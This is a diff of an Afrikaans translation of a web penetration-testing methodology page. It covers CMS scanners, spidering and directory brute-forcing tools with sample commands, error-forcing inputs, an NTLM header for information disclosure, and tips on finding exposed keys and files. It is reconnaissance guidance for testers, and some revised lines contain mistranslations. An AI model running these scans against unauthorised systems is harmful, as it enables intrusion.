**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/) **of** [**(M)oodle**](moodle.md)\
|
**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/) **of** [**(M)oodle**](moodle.md)\
|
||||||
[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
|
[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
|
||||||
|
@ -166,7 +166,7 @@ wpscan --force update -e --url <URL>
|
||||||
joomscan --ec -u <URL>
|
joomscan --ec -u <URL>
|
||||||
joomlavs.rb #https://github.com/rastating/joomlavs
|
joomlavs.rb #https://github.com/rastating/joomlavs
|
||||||
```
|
```
|
||||||
> Op hierdie punt behoort jy reeds 'n paar inligting oor die webbediener wat deur die kliënt gebruik word (indien enige data gegee is) en 'n paar truuks in gedagte te hou tydens die toets. As jy gelukkig is, het jy selfs 'n CMS gevind en 'n skandeerder laat loop.
|
> Op hierdie punt behoort jy reeds 'n paar inligting oor die webbediener wat deur die kliënt gebruik word te hê (indien enige data gegee is) en 'n paar truuks om in gedagte te hou tydens die toets. As jy gelukkig is, het jy selfs 'n CMS gevind en 'n skandeerder laat loop.
|
||||||
|
|
||||||
## Stap-vir-stap Webtoepassing Ontdekking
|
## Stap-vir-stap Webtoepassing Ontdekking
|
||||||
|
|
||||||
|
@ -181,14 +181,14 @@ joomlavs.rb #https://github.com/rastating/joomlavs
|
||||||
* /crossdomain.xml
|
* /crossdomain.xml
|
||||||
* /clientaccesspolicy.xml
|
* /clientaccesspolicy.xml
|
||||||
* /.well-known/
|
* /.well-known/
|
||||||
* Kontroleer ook kommentaar in die hoof- en sekondêre bladsye.
|
* Kyk ook na kommentaar in die hoof- en sekondêre bladsye.
|
||||||
|
|
||||||
**Dwing foute**
|
**Dwing foute**
|
||||||
|
|
||||||
Webbedieners mag **onverwagte gedrag** vertoon wanneer vreemde data na hulle gestuur word. Dit kan **kwesbaarhede** of **sensitiewe inligting openbaar**.
|
Webbedieners kan **onverwagte gedrag** vertoon wanneer vreemde data na hulle gestuur word. Dit kan **kwesbaarhede** of **sensitiewe inligting openbaar**.
|
||||||
|
|
||||||
* Toegang tot **valse bladsye** soos /whatever\_fake.php (.aspx,.html,.ens)
|
* Toegang tot **valse bladsye** soos /whatever\_fake.php (.aspx,.html,.ens)
|
||||||
* **Voeg "\[]", "]]", en "\[\["** in **koekie waardes** en **parameter** waardes om foute te skep
|
* **Voeg "\[]", "]]", en "\[\["** in **koekie waardes** en **parameter** waardes by om foute te skep
|
||||||
* Genereer 'n fout deur insette te gee as **`/~randomthing/%s`** aan die **einde** van die **URL**
|
* Genereer 'n fout deur insette te gee as **`/~randomthing/%s`** aan die **einde** van die **URL**
|
||||||
* Probeer **verskillende HTTP Werkwoorde** soos PATCH, DEBUG of verkeerd soos FAKE
|
* Probeer **verskillende HTTP Werkwoorde** soos PATCH, DEBUG of verkeerd soos FAKE
|
||||||
|
|
||||||
|
@ -204,7 +204,7 @@ As jy vind dat **WebDav** **geaktiveer** is, maar jy nie genoeg regte het om **l
|
||||||
* As die toepassing **nie die gebruiker van HTTPS dwing** nie, dan is dit **kwesbaar vir MitM**
|
* As die toepassing **nie die gebruiker van HTTPS dwing** nie, dan is dit **kwesbaar vir MitM**
|
||||||
* As die toepassing **sensitiewe data (wagwoorde) via HTTP stuur**. Dan is dit 'n hoë kwesbaarheid.
|
* As die toepassing **sensitiewe data (wagwoorde) via HTTP stuur**. Dan is dit 'n hoë kwesbaarheid.
|
||||||
|
|
||||||
Gebruik [**testssl.sh**](https://github.com/drwetter/testssl.sh) om te kontroleer vir **kwesbaarhede** (In Bug Bounty programme sal hierdie soort kwesbaarhede waarskynlik nie aanvaar word nie) en gebruik [**a2sv** ](https://github.com/hahwul/a2sv) om die kwesbaarhede weer te kontroleer:
|
Gebruik [**testssl.sh**](https://github.com/drwetter/testssl.sh) om te kyk vir **kwesbaarhede** (In Bug Bounty programme sal hierdie soort kwesbaarhede waarskynlik nie aanvaar word nie) en gebruik [**a2sv** ](https://github.com/hahwul/a2sv) om die kwesbaarhede weer te kontroleer:
|
||||||
```bash
|
```bash
|
||||||
./testssl.sh [--htmlfile] 10.10.10.10:443
|
./testssl.sh [--htmlfile] 10.10.10.10:443
|
||||||
#Use the --htmlfile to save the output inside an htmlfile also
|
#Use the --htmlfile to save the output inside an htmlfile also
|
||||||
|
@ -220,39 +220,39 @@ Inligting oor SSL/TLS kwesbaarhede:
|
||||||
|
|
||||||
### Spidering
|
### Spidering
|
||||||
|
|
||||||
Begin 'n soort **spider** binne die web. Die doel van die spider is om **soveel paaie as moontlik** van die getoetste toepassing te **vind**. Daarom moet webkruip en eksterne bronne gebruik word om soveel geldige paaie as moontlik te vind.
|
Begin 'n soort **spider** binne die web. Die doel van die spider is om **soveel moontlike paaie te vind** vanaf die getoetste toepassing. Daarom moet webkruip en eksterne bronne gebruik word om soveel geldige paaie as moontlik te vind.
|
||||||
|
|
||||||
* [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder in JS-lêers en eksterne bronne (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
|
* [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder in JS-lêers en eksterne bronne (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
|
||||||
* [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, met LinkFider vir JS-lêers en Archive.org as eksterne bron.
|
* [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, met LinkFider vir JS-lêers en Archive.org as eksterne bron.
|
||||||
* [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, dui ook "juicy files" aan.
|
* [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, dui ook "juicy files" aan.
|
||||||
* [**evine** ](https://github.com/saeeddhqan/evine)(go): Interaktiewe CLI HTML spider. Dit soek ook in Archive.org.
|
* [**evine** ](https://github.com/saeeddhqan/evine)(go): Interaktiewe CLI HTML spider. Dit soek ook in Archive.org.
|
||||||
* [**meg**](https://github.com/tomnomnom/meg) (go): Hierdie hulpmiddel is nie 'n spider nie, maar dit kan nuttig wees. Jy kan net 'n lêer met hosts en 'n lêer met paaie aandui en meg sal elke pad op elke host haal en die antwoord stoor.
|
* [**meg**](https://github.com/tomnomnom/meg) (go): Hierdie hulpmiddel is nie 'n spider nie, maar dit kan nuttig wees. Jy kan net 'n lêer met gasheer en 'n lêer met paaie aandui en meg sal elke pad op elke gasheer haal en die antwoord stoor.
|
||||||
* [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider met JS-rendering vermoëns. Dit lyk egter of dit nie meer onderhou word nie, die voorafgecompileerde weergawe is oud en die huidige kode compileer nie.
|
* [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider met JS-rendering vermoëns. Dit lyk egter of dit nie meer onderhou word nie, die voorafgecompileerde weergawe is oud en die huidige kode compileer nie.
|
||||||
* [**gau**](https://github.com/lc/gau) (go): HTML spider wat eksterne verskaffers gebruik (wayback, otx, commoncrawl).
|
* [**gau**](https://github.com/lc/gau) (go): HTML spider wat eksterne verskaffers gebruik (wayback, otx, commoncrawl).
|
||||||
* [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Hierdie skrip sal URL's met parameters vind en dit lys.
|
* [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Hierdie skrip sal URL's met parameters vind en dit lys.
|
||||||
* [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider met JS-rendering vermoëns.
|
* [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider met JS-rendering vermoëns.
|
||||||
* [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, met JS beautify vermoëns wat in staat is om nuwe paaie in JS-lêers te soek. Dit kan ook die moeite werd wees om na [JSScanner](https://github.com/dark-warlord14/JSScanner) te kyk, wat 'n wrapper van LinkFinder is.
|
* [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, met JS beautify vermoëns wat in staat is om nuwe paaie in JS-lêers te soek. Dit kan ook die moeite werd wees om na [JSScanner](https://github.com/dark-warlord14/JSScanner) te kyk, wat 'n wrapper van LinkFinder is.
|
||||||
* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Om eindpunte in beide HTML-bron en ingebedde javascript-lêers te onttrek. Nuttig vir foutjagters, rooi spanlede, infosec ninjas.
|
* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Om eindpunte in beide HTML-bron en ingebedde javascript-lêers te onttrek. Nuttig vir foutjagters, rooi spanlede, infosec ninjas.
|
||||||
* [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): 'n Python 2.7 skrip wat Tornado en JSBeautifier gebruik om relatiewe URL's uit JavaScript-lêers te parse. Nuttig om AJAX versoeke maklik te ontdek. Dit lyk of dit nie meer onderhou word nie.
|
* [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): 'n Python 2.7 skrip wat Tornado en JSBeautifier gebruik om relatiewe URL's uit JavaScript-lêers te parse. Nuttig om AJAX-versoeke maklik te ontdek. Dit lyk of dit nie meer onderhou word nie.
|
||||||
* [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Gegewe 'n lêer (HTML) sal dit URL's daaruit onttrek met behulp van slim regulêre uitdrukkings om die relatiewe URL's uit lelike (minify) lêers te vind en onttrek.
|
* [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Gegee 'n lêer (HTML) sal dit URL's daaruit onttrek met behulp van slim regulêre uitdrukkings om die relatiewe URL's uit lelike (minify) lêers te vind en onttrek.
|
||||||
* [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, verskeie hulpmiddels): Verskaf interessante inligting uit JS-lêers met behulp van verskeie hulpmiddels.
|
* [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, verskeie hulpmiddels): Verskaf interessante inligting uit JS-lêers met behulp van verskeie hulpmiddels.
|
||||||
* [**subjs**](https://github.com/lc/subjs) (go): Vind JS-lêers.
|
* [**subjs**](https://github.com/lc/subjs) (go): Vind JS-lêers.
|
||||||
* [**page-fetch**](https://github.com/detectify/page-fetch) (go): Laai 'n bladsy in 'n headless-browsers en druk al die URL's wat gelaai is om die bladsy te laai.
|
* [**page-fetch**](https://github.com/detectify/page-fetch) (go): Laai 'n bladsy in 'n headless-browsers en druk al die URL's wat gelaai is om die bladsy te laai.
|
||||||
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Inhoud ontdekking hulpmiddel wat verskeie opsies van die vorige hulpmiddels meng.
|
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Inhoud ontdekking hulpmiddel wat verskeie opsies van die vorige hulpmiddels meng.
|
||||||
* [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): 'n Burp uitbreiding om paaie en params in JS-lêers te vind.
|
* [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): 'n Burp-uitbreiding om paaie en parameters in JS-lêers te vind.
|
||||||
* [**Sourcemapper**](https://github.com/denandz/sourcemapper): 'n Hulpmiddel wat gegewe die .js.map URL die geoptimaliseerde JS-kode sal kry.
|
* [**Sourcemapper**](https://github.com/denandz/sourcemapper): 'n hulpmiddel wat gegee die .js.map URL jou die beautified JS-kode sal gee.
|
||||||
* [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Dit is 'n hulpmiddel wat gebruik word om eindpunte vir 'n gegewe teiken te ontdek.
|
* [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Dit is 'n hulpmiddel wat gebruik word om eindpunte vir 'n gegewe teiken te ontdek.
|
||||||
* [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Ontdek skakels van die wayback-masjien (ook die antwoorde in die wayback aflaai en na meer skakels soek).
|
* [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Ontdek skakels van die wayback-masjien (ook die antwoorde in die wayback aflaai en na meer skakels soek).
|
||||||
* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Kruip (selfs deur vorms in te vul) en vind ook sensitiewe inligting met behulp van spesifieke regexes.
|
* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Kruip (selfs deur vorms in te vul) en vind ook sensitiewe inligting met behulp van spesifieke regexes.
|
||||||
* [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite is 'n gevorderde multi-funksie GUI web sekuriteit Crawler/Spider ontwerp vir kuberveiligheid professionele.
|
* [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite is 'n gevorderde multi-funksie GUI web sekuriteit Crawler/Spider ontwerp vir kuberveiligheid professionele.
|
||||||
* [**jsluice**](https://github.com/BishopFox/jsluice) (go): Dit is 'n Go-pakket en [opdraglyn hulpmiddel](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) om URL's, paaie, geheime en ander interessante data uit JavaScript-bronkode te onttrek.
|
* [**jsluice**](https://github.com/BishopFox/jsluice) (go): Dit is 'n Go-pakket en [opdraglyn hulpmiddel](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) om URL's, paaie, geheime en ander interessante data uit JavaScript-bronkode te onttrek.
|
||||||
* [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge is 'n eenvoudige **Burp Suite uitbreiding** om **die parameters en eindpunte** uit die versoek te onttrek om 'n pasgemaakte woordlys vir fuzzing en enumerasie te skep.
|
* [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge is 'n eenvoudige **Burp Suite-uitbreiding** om **die parameters en eindpunte** uit die versoek te onttrek om 'n pasgemaakte woordlys vir fuzzing en enumerasie te skep.
|
||||||
* [**katana**](https://github.com/projectdiscovery/katana) (go): Wonderlike hulpmiddel hiervoor.
|
* [**katana**](https://github.com/projectdiscovery/katana) (go): Wonderlike hulpmiddel hiervoor.
|
||||||
* [**Crawley**](https://github.com/s0rg/crawley) (go): Druk elke skakel wat dit kan vind.
|
* [**Crawley**](https://github.com/s0rg/crawley) (go): Druk elke skakel wat dit kan vind.
|
||||||
|
|
||||||
### Brute Force directories and files
|
### Brute Force directories and files
|
||||||
|
|
||||||
Begin **brute-forcing** vanaf die wortelmap en wees seker om **alle** die **directories wat gevind is** te brute-force met **hierdie metode** en al die directories **ontdek** deur die **Spidering** (jy kan hierdie brute-forcing **rekursief** doen en die name van die gevonde directories aan die begin van die gebruikte woordlys voeg).\
|
Begin **brute-forcing** vanaf die wortelmap en wees seker om **alle** die **directories gevind** te brute-force met **hierdie metode** en al die directories **ontdek** deur die **Spidering** (jy kan hierdie brute-forcing **rekursief** doen en aan die begin van die gebruikte woordlys die name van die gevonde directories voeg).\
|
||||||
Hulpmiddels:
|
Hulpmiddels:
|
||||||
|
|
||||||
* **Dirb** / **Dirbuster** - Ingesluit in Kali, **oud** (en **stadig**) maar funksioneel. Laat outomaties onderteken sertifikate toe en rekursiewe soektog. Te stadig in vergelyking met die ander opsies.
|
* **Dirb** / **Dirbuster** - Ingesluit in Kali, **oud** (en **stadig**) maar funksioneel. Laat outomaties onderteken sertifikate toe en rekursiewe soektog. Te stadig in vergelyking met die ander opsies.
|
||||||
|
@ -261,10 +261,10 @@ Hulpmiddels:
|
||||||
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Vinning, ondersteun rekursiewe soektog.**
|
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Vinning, ondersteun rekursiewe soektog.**
|
||||||
* [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
|
* [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
|
||||||
* [**ffuf** ](https://github.com/ffuf/ffuf)- Vinning: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
|
* [**ffuf** ](https://github.com/ffuf/ffuf)- Vinning: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
|
||||||
* [**uro**](https://github.com/s0md3v/uro) (python): Dit is nie 'n spider nie, maar 'n hulpmiddel wat gegewe die lys van gevonde URL's sal "gedupliseerde" URL's verwyder.
|
* [**uro**](https://github.com/s0md3v/uro) (python): Dit is nie 'n spider nie, maar 'n hulpmiddel wat gegee die lys van gevonde URL's sal "gedupliseerde" URL's verwyder.
|
||||||
* [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Uitbreiding om 'n lys van directories uit die burp geskiedenis van verskillende bladsye te skep.
|
* [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp-uitbreiding om 'n lys van directories uit die burp geskiedenis van verskillende bladsye te skep.
|
||||||
* [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Verwyder URL's met gedupliseerde funksies (gebaseer op js imports).
|
* [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Verwyder URL's met gedupliseerde funksies (gebaseer op js imports).
|
||||||
* [**Chamaleon**](https://github.com/iustin24/chameleon): Dit gebruik wapalyzer om gebruikte tegnologieë te detecteer en die woordlyste te kies.
|
* [**Chamaleon**](https://github.com/iustin24/chameleon): Dit gebruik wapalyzer om gebruikte tegnologieë te detecteer en die woordlyste te kies om te gebruik.
|
||||||
|
|
||||||
**Aanbevole woordlyste:**
|
**Aanbevole woordlyste:**
|
||||||
|
|
||||||
|
@ -297,10 +297,10 @@ _Nota dat enige tyd wanneer 'n nuwe directory ontdek word tydens brute-forcing o
|
||||||
* _Assetnote “parameters\_top\_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
|
* _Assetnote “parameters\_top\_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
|
||||||
* _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
|
* _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
|
||||||
* **Kommentaar:** Kontroleer die kommentaar van al die lêers, jy kan **akkrediteer** of **verborge funksionaliteit** vind.
|
* **Kommentaar:** Kontroleer die kommentaar van al die lêers, jy kan **akkrediteer** of **verborge funksionaliteit** vind.
|
||||||
* As jy **CTF** speel, is 'n "gewone" truuk om **inligting** te **versteek** binne kommentaar aan die **regterkant** van die **bladsy** (met behulp van **honderde** **spasies** sodat jy nie die data sien as jy die bronkode met die blaasmiddel oopmaak nie). 'n Ander moontlikheid is om **verskeie nuwe lyne** te gebruik en **inligting** in 'n kommentaar aan die **onderkant** van die webblad te versteek.
|
* As jy **CTF** speel, is 'n "gewone" truuk om **inligting** te **versteek** binne kommentaar aan die **regterkant** van die **bladsy** (met behulp van **honderde** **spasies** sodat jy nie die data sien as jy die bronkode met die blaaskans oopmaak). 'n Ander moontlikheid is om **verskeie nuwe lyne** te gebruik en **inligting** in 'n kommentaar aan die **onderkant** van die webblad te versteek.
|
||||||
* **API sleutels**: As jy **enige API-sleutel** vind, is daar 'n gids wat aandui hoe om API-sleutels van verskillende platforms te gebruik: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](https://github.com/l4yton/RegHex\)/)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird).
|
* **API sleutels**: As jy **enige API-sleutel** vind, is daar 'n gids wat aandui hoe om API-sleutels van verskillende platforms te gebruik: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](https://github.com/l4yton/RegHex\)/)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
|
||||||
* Google API sleutels: As jy enige API-sleutel vind wat lyk soos **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjik kan jy die projek [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) gebruik om te kyk watter API's die sleutel kan toegang.
|
* Google API sleutels: As jy enige API-sleutel vind wat lyk soos **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjik kan jy die projek [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) gebruik om te kyk watter API's die sleutel kan toegang.
|
||||||
* **S3 Buckets**: Terwyl jy spider, kyk of enige **subdomein** of enige **skakel** verband hou met 'n **S3-bucket**. In daardie geval, [**kontroleer** die **toestemmings** van die bucket](buckets/).
|
* **S3 Buckets**: Terwyl jy spider, kyk of enige **subdomein** of enige **skakel** verband hou met 'n **S3-bucket**. In daardie geval, [**kontroleer** die **toestemmings** van die emmer](buckets/).
|
||||||
|
|
||||||
### Spesiale bevindings
|
### Spesiale bevindings
|
||||||
|
|
||||||
|
@ -309,16 +309,16 @@ _Nota dat enige tyd wanneer 'n nuwe directory ontdek word tydens brute-forcing o
|
||||||
**Interessante lêers**
|
**Interessante lêers**
|
||||||
|
|
||||||
* Soek na **skakels** na ander lêers binne die **CSS** lêers.
|
* Soek na **skakels** na ander lêers binne die **CSS** lêers.
|
||||||
* [As jy 'n _**.git**_ lêer vind, kan sommige inligting onttrek word](git.md).
|
* [As jy 'n _**.git**_ lêer vind, kan sommige inligting onttrek word](git.md)
|
||||||
* As jy 'n _**.env**_ lêer vind, kan inligting soos API-sleutels, databasis wagwoorde en ander inligting gevind word.
|
* As jy 'n _**.env**_ lêer vind, kan inligting soos API-sleutels, databasis wagwoorde en ander inligting gevind word.
|
||||||
* As jy **API eindpunte** vind, [moet jy dit ook toets](web-api-pentesting.md). Hierdie is nie lêers nie, maar sal waarskynlik "soos" hulle lyk.
|
* As jy **API eindpunte** vind, [moet jy dit ook toets](web-api-pentesting.md). Hierdie is nie lêers nie, maar sal waarskynlik "soos" hulle lyk.
|
||||||
* **JS lêers**: In die spidering afdeling is verskeie hulpmiddels genoem wat paaie uit JS-lêers kan onttrek. Dit sal ook interessant wees om **elke JS-lêer wat gevind is** te monitor, aangesien 'n verandering kan aandui dat 'n potensiële kwesbaarheid in die kode ingevoer is. Jy kan byvoorbeeld [**JSMon**](https://github.com/robre/jsmon)**.** gebruik.
|
* **JS-lêers**: In die spidering afdeling is verskeie hulpmiddels genoem wat paaie uit JS-lêers kan onttrek. Dit sal ook interessant wees om **elke JS-lêer wat gevind is te monitor**, aangesien 'n verandering kan aandui dat 'n potensiële kwesbaarheid in die kode bekendgestel is. Jy kan byvoorbeeld [**JSMon**](https://github.com/robre/jsmon)**.**
|
||||||
* Jy moet ook ontdekte JS-lêers met [**RetireJS**](https://github.com/retirejs/retire.js/) of [**JSHole**](https://github.com/callforpapers-source/jshole) kontroleer om te vind of dit kwesbaar is.
|
* Jy moet ook ontdekte JS-lêers met [**RetireJS**](https://github.com/retirejs/retire.js/) of [**JSHole**](https://github.com/callforpapers-source/jshole) kontroleer om te vind of dit kwesbaar is.
|
||||||
* **Javascript Deobfuscator en Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator).
|
* **Javascript Deobfuscator en Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
|
||||||
* **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org).
|
* **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
|
||||||
* **JsFuck deobfuscation** (javascript met karakters:"\[]!+" [https://ooze.ninja/javascript/poisonjs/](https://ooze.ninja/javascript/poisonjs/)).
|
* **JsFuck deobfuscation** (javascript met karakters:"\[]!+" [https://ooze.ninja/javascript/poisonjs/](https://ooze.ninja/javascript/poisonjs/))
|
||||||
* [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
|
* [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
|
||||||
* In verskeie gevalle sal jy moet **begrip hê van regulêre uitdrukkings** wat gebruik word, dit sal nuttig wees: [https://regex101.com/](https://regex101.com).
|
* In verskeie gevalle sal jy moet **begrip hê van regulêre uitdrukkings** wat gebruik word, dit sal nuttig wees: [https://regex101.com/](https://regex101.com)
|
||||||
* Jy kan ook **die lêers monitor waar vorms gedetecteer is**, aangesien 'n verandering in die parameter of die verskyning van 'n nuwe vorm 'n potensiële nuwe kwesbare funksionaliteit kan aandui.
|
* Jy kan ook **die lêers monitor waar vorms gedetecteer is**, aangesien 'n verandering in die parameter of die verskyning van 'n nuwe vorm 'n potensiële nuwe kwesbare funksionaliteit kan aandui.
|
||||||
|
|
||||||
**403 Verbode/Basiese Verifikasie/401 Nie-toegelaat (omseiling)**
|
**403 Verbode/Basiese Verifikasie/401 Nie-toegelaat (omseiling)**
|
||||||
|
@ -335,11 +335,11 @@ As enige bladsy **antwoord gee** met daardie **kode**, is dit waarskynlik 'n **s
|
||||||
|
|
||||||
As die bediener wat om verifikasie vra **Windows** is of jy 'n aanmelding vind wat om jou **akkrediteer** (en om **domeinnaam** vra), kan jy 'n **inligting openbaar** veroorsaak.\
|
As die bediener wat om verifikasie vra **Windows** is of jy 'n aanmelding vind wat om jou **akkrediteer** (en om **domeinnaam** vra), kan jy 'n **inligting openbaar** veroorsaak.\
|
||||||
**Stuur** die **header**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` en as gevolg van hoe die **NTLM verifikasie werk**, sal die bediener met interne inligting (IIS weergawe, Windows weergawe...) binne die header "WWW-Authenticate" antwoordgee.\
|
**Stuur** die **header**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` en as gevolg van hoe die **NTLM verifikasie werk**, sal die bediener met interne inligting (IIS weergawe, Windows weergawe...) binne die header "WWW-Authenticate" antwoordgee.\
|
||||||
Jy kan **dit outomatiseer** met behulp van die **nmap plugin** "_http-ntlm-info.nse_".
|
Jy kan **dit outomatiseer** met die **nmap plugin** "_http-ntlm-info.nse_".
|
||||||
|
|
||||||
**HTTP Oorplasing (CTF)**
|
**HTTP Oorplasing (CTF)**
|
||||||
|
|
||||||
Dit is moontlik om **inhoud** binne 'n **Oorplasing** te plaas. Hierdie inhoud **sal nie aan die gebruiker gewys word nie** (aangesien die blaasmiddel die oorplasing sal uitvoer), maar iets kan **versteek** wees daarin.
|
Dit is moontlik om **inhoud** binne 'n **Oorplasing** te plaas. Hierdie inhoud **sal nie aan die gebruiker gewys word nie** (aangesien die blaaskans die oorplasing sal uitvoer) maar iets kan **versteek** wees daarin.
|
||||||
|
|
||||||
### Web Kwesbaarhede Kontroleer
|
### Web Kwesbaarhede Kontroleer
|
||||||
|
|
||||||
|
@ -361,7 +361,7 @@ Jy kan hulpmiddels soos [https://github.com/dgtlmoon/changedetection.io](https:/
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk
|
**Kry 'n hacker se perspektief op jou webtoepassings, netwerk en wolk**
|
||||||
|
|
||||||
**Vind en rapporteer kritieke, uitbuitbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte hulpmiddels om die aanvaloppervlak te karteer, sekuriteitskwessies te vind wat jou toelaat om voorregte te verhoog, en gebruik outomatiese uitbuitings om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
|
**Vind en rapporteer kritieke, uitbuitbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte hulpmiddels om die aanvaloppervlak te karteer, sekuriteitskwessies te vind wat jou toelaat om voorregte te verhoog, en gebruik outomatiese uitbuitings om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
|
||||||
|
|
||||||
|
|
|
@ -17,15 +17,15 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk
|
